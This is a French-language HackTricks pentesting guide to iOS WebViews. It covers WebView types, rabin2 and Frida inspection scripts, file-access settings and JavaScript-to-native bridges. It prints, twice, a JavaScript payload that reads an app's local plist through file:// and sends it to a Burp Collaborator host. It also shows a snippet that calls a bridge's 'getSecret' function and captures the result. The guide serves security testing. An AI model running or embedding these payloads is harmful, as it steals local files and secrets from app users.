hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md
2023-06-03 13:10:46 +00:00

26 KiB

Les WebViews sont des composants de navigateur intégrés aux applications pour afficher du contenu web interactif. Ils peuvent être utilisés pour intégrer directement du contenu web dans l'interface utilisateur d'une application. Les WebViews iOS prennent en charge l'exécution de JavaScript par défaut, de sorte que l'injection de script et les attaques de script intersites peuvent les affecter.

  • UIWebView : UIWebView est obsolète à partir d'iOS 12 et ne doit pas être utilisé. Il ne devrait pas être utilisé. JavaScript ne peut pas être désactivé.

  • WKWebView : c'est le choix approprié pour étendre la fonctionnalité de l'application, contrôler le contenu affiché.

    • JavaScript est activé par défaut, mais grâce à la propriété javaScriptEnabled de WKWebView, il peut être complètement désactivé, empêchant toutes les failles d'injection de script.
    • La propriété JavaScriptCanOpenWindowsAutomatically peut être utilisée pour empêcher JavaScript d'ouvrir de nouvelles fenêtres, telles que des pop-ups.
    • La propriété hasOnlySecureContent peut être utilisée pour vérifier que les ressources chargées par le WebView sont récupérées via des connexions chiffrées.
    • WKWebView implémente un rendu hors processus, de sorte que les bugs de corruption de mémoire n'affecteront pas le processus principal de l'application.
  • SFSafariViewController : il doit être utilisé pour fournir une expérience de visualisation web généralisée. Ces WebViews peuvent être facilement repérés car ils ont une disposition caractéristique qui comprend les éléments suivants :

    • Un champ d'adresse en lecture seule avec un indicateur de sécurité.
    • Un bouton d'action ("Partager").
    • Un bouton "Terminé", des boutons de navigation avant et arrière, et un bouton "Safari" pour ouvrir la page directement dans Safari.
    • JavaScript ne peut pas être désactivé dans SFSafariViewController et c'est l'une des raisons pour lesquelles l'utilisation de WKWebView est recommandée lorsque l'objectif est d'étendre l'interface utilisateur de l'application.
    • SFSafariViewController partage également les cookies et autres données de site Web avec Safari.
    • L'activité et l'interaction de l'utilisateur avec un SFSafariViewController ne sont pas visibles pour l'application, qui ne peut pas accéder aux données de saisie automatique, à l'historique de navigation ou aux données de site Web.
    • Selon les directives de révision de l'App Store, les SFSafariViewController ne peuvent pas être masqués ou obscurcis par d'autres vues ou couches.

Découverte de la configuration des WebViews

Analyse statique

UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9   9  10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813  24  25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599  23  24 () ascii _OBJC_CLASS_$_UIWebView

WKWebView

WKWebView est une vue Web introduite dans iOS 8 qui remplace UIWebView. Elle est plus rapide et plus efficace que UIWebView car elle utilise le moteur de rendu WebKit. Elle prend également en charge les fonctionnalités HTML5 et JavaScript modernes.

Pour tester une application iOS qui utilise WKWebView, vous pouvez utiliser des outils tels que Burp Suite ou OWASP ZAP pour intercepter et modifier le trafic HTTP/S. Vous pouvez également utiliser des outils tels que Frida ou Cycript pour injecter du code JavaScript dans l'application et manipuler la vue Web.

Il est important de noter que les applications iOS utilisant WKWebView peuvent être vulnérables à des attaques de type XSS (Cross-Site Scripting) si elles ne sont pas correctement sécurisées. Les développeurs doivent s'assurer que toutes les entrées utilisateur sont correctement validées et échappées avant d'être affichées dans la vue Web.

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3   9  10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670  17  18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960  24  25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4  23  24 () ascii _OBJC_CLASS_$_WKWebView

Alternativement, vous pouvez également rechercher les méthodes connues de ces classes WebView. Par exemple, recherchez la méthode utilisée pour initialiser un WKWebView (init(frame:configuration:)):

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO

Test de la configuration JavaScript

Pour les WKWebView, il est recommandé de désactiver JavaScript sauf s'il est explicitement requis. Pour vérifier que JavaScript a été correctement désactivé, recherchez les utilisations de WKPreferences dans le projet et assurez-vous que la propriété javaScriptEnabled est définie sur false:

let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false

Si vous avez seulement le binaire compilé, vous pouvez chercher cela dedans :

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7  17  18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9  21  22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled

Test de OnlySecureContent

Contrairement aux UIWebView, lors de l'utilisation de WKWebView, il est possible de détecter du contenu mixte (contenu HTTP chargé à partir d'une page HTTPS). En utilisant la méthode hasOnlySecureContent, il est possible de vérifier si toutes les ressources de la page ont été chargées via des connexions sécurisées et cryptées.
Dans le binaire compilé :

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Vous pouvez également rechercher dans le code source ou les chaînes la chaîne "http://". Cependant, cela ne signifie pas nécessairement qu'il y a un problème de contenu mixte. En savoir plus sur le contenu mixte dans les MDN Web Docs.

Analyse dynamique

Il est possible d'inspecter le tas via ObjC.choose() pour trouver des instances des différents types de WebViews et également rechercher les propriétés javaScriptEnabled et hasonlysecurecontent :

{% code title="webviews_inspector.js" %}

ObjC.choose(ObjC.classes['UIWebView'], {
  onMatch: function (ui) {
    console.log('onMatch: ', ui);
    console.log('URL: ', ui.request().toString());
  },
  onComplete: function () {
    console.log('done for UIWebView!');
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('URL: ', wk.URL().toString());
  },
  onComplete: function () {
    console.log('done for WKWebView!');
  }
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
  onMatch: function (sf) {
    console.log('onMatch: ', sf);
  },
  onComplete: function () {
    console.log('done for SFSafariViewController!');
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
  }
});

{% endcode %}

Chargez-le avec:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>

hasOnlySecureContent:  false

Gestion des protocoles WebView

Plusieurs schémas par défaut sont disponibles et sont interprétés dans une WebView sur iOS, par exemple :

  • http(s)://
  • file://
  • tel://

Les WebViews peuvent charger du contenu distant à partir d'un point de terminaison, mais elles peuvent également charger du contenu local à partir du répertoire de données de l'application. Si le contenu local est chargé, l'utilisateur ne devrait pas être en mesure d'influencer le nom de fichier ou le chemin utilisé pour charger le fichier, et les utilisateurs ne devraient pas être en mesure de modifier le fichier chargé.

Chargement de contenu WebView

Si vous avez le code source, vous pouvez rechercher ces méthodes. Si vous avez le binaire compilé, vous pouvez également rechercher ces méthodes :

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Accès aux fichiers

  • UIWebView:
    • Le schéma file:// est toujours activé.
    • L'accès aux fichiers à partir des URL file:// est toujours activé.
    • L'accès universel à partir des URL file:// est toujours activé.
    • Si vous récupérez l'origine effective d'un UIWebViewbaseURL est également défini sur nil, vous verrez qu'elle n'est pas définie sur "null", mais vous obtiendrez quelque chose de similaire à ce qui suit : applewebdata://5361016c-f4a0-4305-816b-65411fc1d78. Cette origine "applewebdata://" est similaire à l'origine "file://" car elle n'implémente pas la politique de même origine et permet l'accès aux fichiers locaux et à toutes les ressources web.

{% tabs %} {% tab title="exfiltrate_file" %}

String.prototype.hexEncode = function(){
    var hex, i;
    var result = "";
    for (i=0; i<this.length; i++) {
        hex = this.charCodeAt(i).toString(16);
        result += ("000"+hex).slice(-4);
    }
    return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr2 = new XMLHttpRequest();
        xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
        xhr2.send(null);
    }
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

{% endtab %} {% endtabs %}

  • WKWebView:
    • allowFileAccessFromFileURLs (WKPreferences, false by default): cela permet à JavaScript s'exécutant dans le contexte d'une URL de schéma file:// d'accéder au contenu d'autres URL de schéma file://.
    • allowUniversalAccessFromFileURLs (WKWebViewConfiguration, false by default): cela permet à JavaScript s'exécutant dans le contexte d'une URL de schéma file:// d'accéder au contenu de n'importe quelle origine.

Vous pouvez rechercher ces fonctions dans le code source de l'application ou dans le binaire compilé.
De plus, vous pouvez utiliser le script frida suivant pour trouver ces informations:

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('URL: ', wk.URL().toString());
    console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
    console.log('allowFileAccessFromFileURLs: ',
            wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
    console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
    console.log('allowUniversalAccessFromFileURLs: ',
            wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
  },
  onComplete: function () {
    console.log('done for WKWebView!');
  }
});
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL:  file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
        Library/WKWebView/scenario1.html
javaScriptEnabled:  true
allowFileAccessFromFileURLs:  0
hasOnlySecureContent:  false
allowUniversalAccessFromFileURLs:  0

Exfiltrer des fichiers arbitraires

//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
    var hex, i;
    var result = "";
    for (i=0; i<this.length; i++) {
        hex = this.charCodeAt(i).toString(16);
        result += ("000"+hex).slice(-4);
    }
    return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr2 = new XMLHttpRequest();
        xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
        xhr2.send(null);
    }
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Méthodes natives exposées via les WebViews

Depuis iOS 7, Apple a introduit des API qui permettent la communication entre le runtime JavaScript dans la WebView et les objets natifs Swift ou Objective-C.

Il existe deux façons fondamentales dont le code natif et JavaScript peuvent communiquer :

  • JSContext : lorsqu'un bloc Objective-C ou Swift est assigné à un identificateur dans un JSContext, JavaScriptCore enveloppe automatiquement le bloc dans une fonction JavaScript.
  • Protocole JSExport : les propriétés, les méthodes d'instance et les méthodes de classe déclarées dans un protocole hérité de JSExport sont mappées sur des objets JavaScript qui sont disponibles pour tout le code JavaScript. Les modifications des objets qui sont dans l'environnement JavaScript sont reflétées dans l'environnement natif.

Notez que seuls les membres de classe définis dans le protocole JSExport sont accessibles au code JavaScript.
Recherchez le code qui mappe les objets natifs sur le JSContext associé à une WebView et analysez la fonctionnalité qu'il expose, par exemple, aucune donnée sensible ne doit être accessible et exposée aux WebViews.
En Objective-C, le JSContext associé à une UIWebView est obtenu comme suit :

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Le code JavaScript dans un **WKWebView peut toujours envoyer des messages à l'application native, mais contrairement à UIWebView, il n'est pas possible de référencer directement le JSContext d'un WKWebView. Au lieu de cela, la communication est implémentée à l'aide d'un système de messagerie et de la fonction postMessage, qui sérialise automatiquement les objets JavaScript en objets Objective-C ou Swift natifs. Les gestionnaires de messages sont configurés à l'aide de la méthode add(_ scriptMessageHandler:name:).

Activation de JavascriptBridge

func enableJavaScriptBridge(_ enabled: Bool) {
    options_dict["javaScriptBridge"]?.value = enabled
    let userContentController = wkWebViewConfiguration.userContentController
    userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

    if enabled {
            let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
            userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
    }
}

Envoi de message

L'ajout d'un gestionnaire de message de script avec le nom "name" (ou "javaScriptBridge" dans l'exemple ci-dessus) provoque la définition de la fonction JavaScript window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage dans tous les cadres de toutes les vues Web qui utilisent le contrôleur de contenu utilisateur. Il peut ensuite être utilisé à partir du fichier HTML comme ceci:

function invokeNativeOperation() {
    value1 = document.getElementById("value1").value
    value2 = document.getElementById("value2").value
    window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"

document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Une fois que la fonction Native est exécutée, elle exécutera généralement du JavaScript à l'intérieur de la page Web (voir evaluateJavascript ci-dessous) et vous pouvez être intéressé à remplacer la fonction qui va être exécutée pour voler le résultat.
Par exemple, dans le script ci-dessous, la fonction javascriptBridgeCallBack va être exécutée avec 2 paramètres (la fonction appelée et le résultat). Si vous contrôlez le HTML qui va être chargé, vous pouvez créer une alerte avec le résultat comme suit:

<html>
    <script>
        document.location = "javascriptbridge://getSecret"
        function javascriptBridgeCallBack(name, result) {
            alert(result);
        }
    </script>
</html>

Fonction appelée

La fonction appelée se trouve dans JavaScriptBridgeMessageHandler.swift :

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {

//...

case "multiplyNumbers":

        let arg1 = Double(messageArray[1])!
        let arg2 = Double(messageArray[2])!
        result = String(arg1 * arg2)
//...

let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)

Test

Pour tester l'envoi d'un postMessage à l'intérieur d'une application, vous pouvez :

Débogage des iOS WebViews

(Tutoriel de https://blog.vuplex.com/debugging-webviews)

Dans les webviews iOS, les messages passés à console.log() ne sont pas imprimés dans les journaux Xcode. Il est encore relativement facile de déboguer le contenu Web avec les outils de développement de Safari, bien qu'il y ait quelques limitations :

  • Le débogage des webviews iOS nécessite Safari, donc votre ordinateur de développement doit exécuter macOS.
  • Vous ne pouvez déboguer que les webviews dans les applications chargées sur votre appareil via Xcode. Vous ne pouvez pas déboguer les webviews dans les applications installées via l'App Store ou Apple Configurator.

Avec ces limitations à l'esprit, voici les étapes pour déboguer à distance un webview dans iOS :

  • Tout d'abord, activez l'inspecteur Web Safari sur votre appareil iOS en ouvrant l'application iOS Paramètres, en naviguant vers Paramètres > Safari > Avancé, et en activant l'option Inspecteur Web.

iOS Safari settings

  • Ensuite, vous devez également activer les outils de développement dans Safari sur votre ordinateur de développement. Lancez Safari sur votre machine de développement et accédez à Safari > Préférences dans la barre de menus. Dans le volet des préférences qui apparaît, cliquez sur l'onglet Avancé et activez l'option Afficher le menu Développement en bas. Après avoir fait cela, vous pouvez fermer le volet des préférences.

Mac Safari settings

  • Connectez votre appareil iOS à votre ordinateur de développement et lancez votre application.
  • Dans Safari sur votre ordinateur de développement, cliquez sur Développer dans la barre de menus et survolez l'option de menu déroulant qui est le nom de votre appareil iOS pour afficher une liste des instances de webview en cours d'exécution sur votre appareil iOS.

Mac Safari develop menu

  • Cliquez sur l'option de menu déroulant pour le webview que vous souhaitez déboguer. Cela ouvrira une nouvelle fenêtre Safari Web Inspector pour inspecter le webview.

Safari Web Inspector window

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥